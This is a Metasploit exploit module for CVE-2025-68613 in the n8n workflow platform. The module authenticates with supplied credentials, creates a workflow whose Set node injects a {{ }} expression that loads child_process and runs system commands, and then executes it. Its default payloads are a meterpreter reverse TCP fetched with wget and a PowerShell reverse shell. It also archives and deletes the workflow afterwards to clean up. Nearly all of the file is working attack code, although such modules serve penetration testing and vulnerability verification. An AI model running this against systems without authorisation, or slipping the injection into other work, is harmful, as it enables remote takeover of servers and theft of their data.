##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'n8n Workflow Expression Remote Code Execution',
'Description' => %q{
This module exploits a critical remote code execution vulnerability (CVE-2025-68613)
in the n8n workflow automation platform. The vulnerability exists in the workflow
expression evaluation system where user-supplied expressions enclosed in {{ }}
are evaluated in an execution context that is not sufficiently isolated from the
underlying Node.js runtime.
An authenticated attacker can create a workflow containing malicious expressions
that access the Node.js process object via this.process.mainModule.require (or via
the constructor) to load child_process and execute arbitrary system commands.
This module uses a Schedule Trigger node to automatically fire and evaluate the
malicious payload. This requires valid credentials to create workflows.
Successful exploitation may lead to full compromise of the n8n instance,
including unauthorized access to sensitive data, modification of workflows,
and execution of system-level operations.
Affected versions: >= 0.211.0 and < 1.120.4, < 1.121.1, < 1.122.0
},
'Author' => [
'Lukas Johannes Möller'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-68613'],
['URL', 'https://github.com/n8n-io/n8n/security/advisories'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68613']
],
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# cmd/unix payloads use commands that might not be present in docker instance
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'wget'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'Payload' => {
'BadChars' => %(')
},
'Privileged' => false,
'DisclosureDate' => '2025-06-10',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 5678,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to n8n', '/']),
OptString.new('USERNAME', [true, 'n8n username or email for authentication']),
OptString.new('PASSWORD', [true, 'n8n password for authentication'])
]
)
end
def check
return CheckCode::Unknown('Could not authenticate to n8n') unless authenticate
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest', 'settings')
)
return CheckCode::Unknown('Could not connect to n8n') if res.blank?
return CheckCode::Detected('Connected to n8n, received unexpected response') unless res.code == 200
json = res.get_json_document
version = Rex::Version.new(json.dig('data', 'versionCli'))
return CheckCode::Detected('n8n detected but could not determine version') unless version
print_status("Detected n8n version: #{version}")
return CheckCode::Appears("Version #{version} is vulnerable") if version.between?(Rex::Version.new('0.211.0'), Rex::Version.new('1.120.4')) || version == Rex::Version.new('1.121.0')
CheckCode::Safe("Version #{version} is not vulnerable")
end
def authenticate
print_status('Attempting to authenticate...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'login'),
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
'emailOrLdapLoginId' => datastore['USERNAME'],
'email' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_json
)
return true if res&.code == 200
json_data = res.get_json_document
print_error("Login failed: #{json_data['message']}")
false
end
def create_malicious_workflow(cmd)
expression_payload = %<{{ (function(){ return this.process.mainModule.require('child_process').execSync('#{cmd}').toString() })() }}>
@workflow_name = "workflow_#{Rex::Text.rand_text_alphanumeric(8)}"
workflow_data = {
'name' => @workflow_name,
'active' => false,
'settings' => {
'saveDataErrorExecution' => 'all',
'saveDataSuccessExecution' => 'all',
'saveManualExecutions' => true,
'executionOrder' => 'v1'
},
'nodes' => [
{
parameters: {},
type: 'n8n-nodes-base.manualTrigger',
typeVersion: 1,
position: [
0,
0
],
'id' => Rex::Text.rand_text_alphanumeric(36),
name: "When clicking 'Execute workflow'"
},
{
parameters: {
values: {
string: [
{
value: "=#{expression_payload}"
}
]
},
options: {}
},
id: '40031677-e085-4434-9168-fb0b21ead60d',
name: 'Set',
type: 'n8n-nodes-base.set',
typeVersion: 1,
position: [
220,
0
]
}
],
'connections' => {
"When clicking 'Execute workflow'" => {
'main' => [
[
{
'node' => 'Set',
'type' => 'main',
'index' => 0
}
]
]
}
}
}
print_status('Creating malicious workflow...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'workflows'),
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => workflow_data.to_json
)
fail_with(Failure::UnexpectedReply, "Failed to create workflow: #{res&.code}") unless res&.code == 200 || res&.code == 201
json = res.get_json_document
@workflow_id = json.dig('data', 'id') || json['id']
nodes = json.dig('data', 'nodes')
version_id = json.dig('data', 'versionId')
id = json.dig('data', 'id')
fail_with(Failure::UnexpectedReply, 'Failed to get workflow ID from response') unless @workflow_id && nodes && version_id && id
activation_data = {
'workflowData' => {
'name' => @workflow_name,
'nodes' => nodes,
'pinData' => {},
'connections' => {
"When clicking 'Execute workflow'" => {
'main' => [
[
{
'node' => 'Set',
'type' => 'main',
'index' => 0
}
]
]
}
},
'active' => false,
'settings' => {
'saveDataErrorExecution' => 'all',
'saveDataSuccessExecution' => 'all',
'saveManualExecutions' => true,
'executionOrder' => 'v1'
},
'tags' => [],
'versionId' => version_id,
'meta' => 'null',
'id' => id
},
'startNodes' => [],
'destinationNode' => 'Set'
}
print_status('Triggering malicious workflow...')
# older versions on n8n allow to execute workflow without workflow ID, while the newer versions
# have URI rest/workflow/[workflow ID]/run available to make workflow run. If the first request
# returns 404, it means that it is probably newer version, so module will try the second variant.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', 'run'),
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => activation_data.to_json
)
if res&.code == 404
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'run'),
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => activation_data.to_json
)
end
fail_with(Failure::PayloadFailed, 'Could not start workflow') unless res&.code == 200
print_good("Created workflow with ID: #{@workflow_id}")
end
def archive_workflow
print_status("Cleaning up workflow #{@workflow_id}...")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s, 'archive'),
'keep_cookies' => true
)
end
def exploit
cookie_jar.clear
fail_with(Failure::NoAccess, 'Could not authenticate') unless authenticate
create_malicious_workflow(payload.encoded)
end
def cleanup
super
if @workflow_id
archive_workflow
# delete workflow
send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'rest', 'workflows', @workflow_id.to_s)
)
end
end
end
Polish
English